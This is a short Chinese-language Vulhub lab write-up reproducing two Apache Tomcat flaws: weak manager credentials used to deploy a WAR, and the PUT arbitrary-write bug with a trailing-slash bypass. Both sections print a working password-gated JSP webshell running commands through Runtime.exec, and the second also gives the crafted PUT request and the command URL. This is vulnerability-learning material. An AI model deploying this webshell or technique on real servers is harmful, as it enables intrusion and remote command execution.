Vulhub-Tomcat漏洞复现
前言
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
正文-1-7.0后台弱口令
环境说明
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
漏洞测试
docker-compose up -d
打开tomcat管理页面
进入后台http://192.168.94.129:8080/manager/html,输入默认账户及密码tomcat:tomcat
在本机上制作一句话木马,写入cmd.jsp中再讲jsp文件压缩程zip文件,最终修改zip文件尾缀为war,上传即可。
一句话木马文件内容为:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("pre");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("/pre");
}
%>
可以看到已经生成了cmd文件夹,访问木马文件即可远程执行命令:
http://192.168.94.129:8080/cmd1/cmd.jsp?pwd=023&i=pwd
正文-Tomcat PUT任意方法写文件漏洞
环境说明
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件,虽然tomcat对文件后缀有一定的检测,但是可以通过文件系统的特性来绕过限制
漏洞测试
docker-compose up -d
启动环境后抓包,修改数据包为如下内容即可
PUT /1.jsp/ HTTP/1.1
Host: 192.168.94.128:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("pre");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("/pre");
}
%>
随后访问如下URL即可发现写入一句话木马
http://192.168.94.128:8080/1.jsp?pwd=023&i=id